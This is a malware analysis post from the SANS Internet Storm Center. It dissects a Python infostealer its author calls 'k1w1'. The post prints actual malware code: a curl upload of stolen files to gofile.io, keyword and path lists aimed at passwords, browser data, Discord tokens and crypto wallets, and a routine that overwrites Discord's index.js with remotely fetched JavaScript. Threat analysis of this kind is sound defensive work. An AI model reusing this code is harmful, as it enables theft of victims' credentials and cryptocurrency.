"K1w1" InfoStealer Uses gofile.io for Exfiltration

    Published: 2024-05-31
    Last Updated: 2024-05-31 10:40:46 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    Python remains a nice language for attackers and I keep finding interesting scripts that are usually not very well detected by antivirus solutions. The one I found has a VT score of 7/65! (SHA256:a6230d4d00a9d8ecaf5133b02d9b61fe78283ac4826a8346b72b4482d9aab54c[1]). I decided to call it "k1w1" infostealer because this string is referenced in many variable and function names. The script has classic infostealer capabilities to find interesting pieces of data on the victim's computer but has some interesting techniques. 

    First, it uses gofile.io to exfiltrate data:

    try:gofileserver = loads(urlopen("https://api.gofile.io/getServer").read().decode('utf-8'))["data"]["server"]
    except:gofileserver = "store4"

    gofile.io is a popular online storage management[2]. Collected data are uploaded:

    def UP104D7060F113(path):
        try:
            r = subprocess.Popen(f"curl -F \"file=@{path}\" https://{gofileserver}.gofile.io/uploadFile", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
            return loads(r[0].decode('utf-8'))["data"]["downloadPage"]
        except: return False

    gofile.io provides guest access with sufficient capabilities to upload files and keep them available for a few days. Once uploaded a download link is returned in JSON data. All links are shared on a Discord channel.

    Besides the classic information, this infostealer also searches for "keywords" in the victim's files from common directories:

    def K1W1():
        user = temp.split("\AppData")[0]
        path2search = [
            user    + "/Desktop",
            user    + "/Downloads",
            user    + "/Documents",
            roaming + "/Microsoft/Windows/Recent",
        ]
    
        key_wordsFiles = [
            "passw",
            "mdp",
            "motdepasse",
            "mot_de_passe",
            "login",
            "secret",
            "bot",
            "atomic",
            "account",
            "acount",
            "paypal",
            "banque",
            "bot",
            "metamask",
            "wallet",
            "crypto",
            "exodus",
            "discord",
            "2fa",
            "code",
            "memo",
            "compte",
            "token",
            "backup",
            "secret",
            "seed",
            "mnemonic"
            "memoric",
            "private",
            "key",
            "passphrase",
            "pass",
            "phrase",
            "steal",
            "bank",
            "info",
            "casino",
            "prv",
            "privé",
            "prive",
            "telegram",
            "identifiant",
            "personnel",
            "trading"
            "bitcoin",
            "sauvegarde",
            "funds",
            "récupé",
            "recup",
            "note",
        ]
    
        wikith = []
        for patt in path2search: 
            kiwi = threading.Thread(target=K1W1F113, args=[patt, key_wordsFiles])
            kiwi.start()
            wikith.append(kiwi)
        return wikith
    

    You can see many French keywords. We can assume that the script targets French-speaking victims.

    Classic applications are targeted:

       br0W53rP47H5 = [    
            [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
            [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
            [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
            [f"{local}/Google/Chrome/User Data",                        "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
            [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
            [f"{local}/Google/Chrome Beta/User Data",                   "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
            [f"{local}/Google/Chrome Dev/User Data",                    "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
            [f"{local}/Google/Chrome Unstable/User Data",               "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
            [f"{local}/Google/Chrome Canary/User Data",                 "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
            [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",        "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
            [f"{local}/Vivaldi/User Data",                              "vivaldi.exe",      "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
            [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
            [f"{local}/Yandex/YandexBrowserCanary/User Data",           "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
            [f"{local}/Yandex/YandexBrowserDeveloper/User Data",        "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
            [f"{local}/Yandex/YandexBrowserBeta/User Data",             "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
            [f"{local}/Yandex/YandexBrowserTech/User Data",             "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
            [f"{local}/Yandex/YandexBrowserSxS/User Data",              "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
            [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",         "/Default/Local Storage/leveldb",   "/Default",      "/Default/Network",     "/Default/Local Extension Settings/"              ]
        ]
        d15C0rDP47H5 = [
            [f"{roaming}/discord",          "/Local Storage/leveldb"],
            [f"{roaming}/Lightcord",        "/Local Storage/leveldb"],
            [f"{roaming}/discordcanary",    "/Local Storage/leveldb"],
            [f"{roaming}/discordptb",       "/Local Storage/leveldb"],
        ]
    
        p47H570Z1P = [
            [f"{roaming}/atomic/Local Storage/leveldb",                             "Atomic Wallet.exe",        "Wallet"        ],
            [f"{roaming}/Guarda/Local Storage/leveldb",                             "Guarda.exe",               "Wallet"        ],
            [f"{roaming}/Zcash",                                                    "Zcash.exe",                "Wallet"        ],
            [f"{roaming}/Armory",                                                   "Armory.exe",               "Wallet"        ],
            [f"{roaming}/bytecoin",                                                 "bytecoin.exe",             "Wallet"        ],
            [f"{roaming}/Exodus/exodus.wallet",                                     "Exodus.exe",               "Wallet"        ],
            [f"{roaming}/Binance/Local Storage/leveldb",                            "Binance.exe",              "Wallet"        ],
            [f"{roaming}/com.liberty.jaxx/IndexedDB/file__0.indexeddb.leveldb",     "Jaxx.exe",                 "Wallet"        ],
            [f"{roaming}/Electrum/wallets",                                         "Electrum.exe",             "Wallet"        ],
            [f"{roaming}/Coinomi/Coinomi/wallets",                                  "Coinomi.exe",              "Wallet"        ],
            ["C:\Program Files (x86)\Steam\config",                                 "steam.exe",                "Steam"         ],
            [f"{local}/Riot Games/Riot Client/Data",                                "RiotClientServices.exe",   "RiotClient"    ],
        ]
        t3136r4M = [f"{roaming}/Telegram Desktop/tdata", 'Telegram.exe', "Telegram"]

    If found also some injection in Discord files:

    def inj3c710n():
    
        username = os.getlogin()
    
        folder_list = ['Discord', 'DiscordCanary', 'DiscordPTB', 'DiscordDevelopment']
    
        for folder_name in folder_list:
            deneme_path = os.path.join(os.getenv('LOCALAPPDATA'), folder_name)
            if os.path.isdir(deneme_path):
                for subdir, dirs, files in os.walk(deneme_path):
                    if 'app-' in subdir:
                        for dir in dirs:
                            if 'modules' in dir:
                                module_path = os.path.join(subdir, dir)
                                for subsubdir, subdirs, subfiles in os.walk(module_path):
                                    if 'discord_desktop_core-' in subsubdir:
                                        for subsubsubdir, subsubdirs, subsubfiles in os.walk(subsubdir):
                                            if 'discord_desktop_core' in subsubsubdir:
                                                for file in subsubfiles:
                                                    if file == 'index.js':
                                                        file_path = os.path.join(subsubsubdir, file)
                                                        injeCTmED0cT0r_cont = requests.get(inj3c710n_url).text
                                                        injeCTmED0cT0r_cont = injeCTmED0cT0r_cont.replace("%WEBHOOK%", h00k)
                                                        with open(file_path, "w", encoding="utf-8") as index_file:
                                                            index_file.write(injeCTmED0cT0r_cont)
    

    The script has also classic evasion techniques based on VM, IP address, and suspicious processes detection. Many wallets are also targeted:

    w411375 = [
        ["nkbihfbeogaeaoehlefnkodbefgpgknn", "Metamask"         ],
        ["ejbalbakoplchlghecdalmeeeajnimhm", "Metamask"         ],
        ["fhbohimaelbohpjbbldcngcnapndodjp", "Binance"          ],
        ["hnfanknocfeofbddgcijnmhnfnkdnaad", "Coinbase"         ],
        ["fnjhmkhhmkbjkkabndcnnogagogbneec", "Ronin"            ],
        ["egjidjbpglichdcondbcbdnbeeppgdph", "Trust"            ],
        ["ojggmchlghnjlapmfbnjholfjkiidbch", "Venom"            ],
        ["opcgpfmipidbgpenhmajoajpbobppdil", "Sui"              ],
        ["efbglgofoippbgcjepnhiblaibcnclgk", "Martian"          ],
        ["ibnejdfjmmkpcnlpebklmnkoeoihofec", "Tron"             ],
        ["ejjladinnckdgjemekebdpeokbikhfci", "Petra"            ],
        ["phkbamefinggmakgklpkljjmgibohnba", "Pontem"           ],
        ["ebfidpplhabeedpnhjnobghokpiioolj", "Fewcha"           ],
        ["afbcbjpbpfadlkmhmclhkeeodmamcflc", "Math"             ],
        ["aeachknmefphepccionboohckonoeemg", "Coin98"           ],
        ["bhghoamapcdpbohphigoooaddinpkbai", "Authenticator"    ],
        ["aholpfdialjgjfhomihkjbmgjidlcdno", "ExodusWeb3"       ],
        ["bfnaelmomeimhlpmgjnjophhpkkoljpa", "Phantom"          ],
        ["agoakfejjabomempkjlepdflaleeobhb", "Core"             ],
        ["mfgccjchihfkkindfppnaooecgfneiii", "Tokenpocket"      ],
        ["lgmpcpglpngdoalbgeoldeajfclnhafa", "Safepal"          ],
        ["bhhhlbepdkbapadjdnnojkbgioiodbic", "Solfare"          ],
        ["jblndlipeogpafnldhgmapagcccfchpi", "Kaikas"           ],
        ["kncchdigobghenbbaddojjnnaogfppfj", "iWallet"          ],
        ["ffnbelfdoeiohenkjibnmadjiehjhajb", "Yoroi"            ],
        ["hpglfhgfnhbgpjdenjgmdgoeiappafln", "Guarda"           ],
        ["cjelfplplebdjjenllpjcblmjkfcffne", "Jaxx Liberty"     ],
        ["amkmjjmmflddogmhpjloimipbofnfjih", "Wombat"           ],
        ["fhilaheimglignddkjgofkcbgekhenbh", "Oxygen"           ],
        ["nlbmnnijcnlegkjjpcfjclmcfggfefdm", "MEWCX"            ],
        ["nanjmdknhkinifnkgdcggcfnhdaammmj", "Guild"            ],
        ["nkddgncdjgjfcddamfgcmfnlhccnimig", "Saturn"           ], 
        ["aiifbnbfobpmeekipheeijimdpnlpgpp", "TerraStation"     ],
        ["fnnegphlobjdpkhecapkijjdkgcjhkib", "HarmonyOutdated"  ],
        ["cgeeodpfagjceefieflmdfphplkenlfk", "Ever"             ],
        ["pdadjkfkgcafgbceimcpbkalnfnepbnk", "KardiaChain"      ],
        ["mgffkfbidihjpoaomajlbgchddlicgpn", "PaliWallet"       ],
        ["aodkkagnadcbobfpggfnjeongemjbjca", "BoltX"            ],
        ["kpfopkelmapcoipemfendmdcghnegimn", "Liquality"        ],
        ["hmeobnfnfcmdkdcmlblgagmfpfboieaf", "XDEFI"            ],
        ["lpfcbjknijpeeillifnkikgncikgfhdo", "Nami"             ],
        ["dngmlblcodfobpdpecaadgfbcggfjfnm", "MaiarDEFI"        ],
        ["ookjlbkiijinhpmnjffcofjonbfbgaoc", "TempleTezos"      ],
        ["eigblbgjknlfbajkfhopmcojidlgcehm", "XMR.PT"           ],
    ]

    [1] https://www.virustotal.com/gui/file/a6230d4d00a9d8ecaf5133b02d9b61fe78283ac4826a8346b72b4482d9aab54c
    [2] https://gofile.io/welcome

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)
    ISC Stormcast For Friday, May 31st, 2024 https://isc.sans.edu/podcastdetail/9004

      Comments


      Diary Archives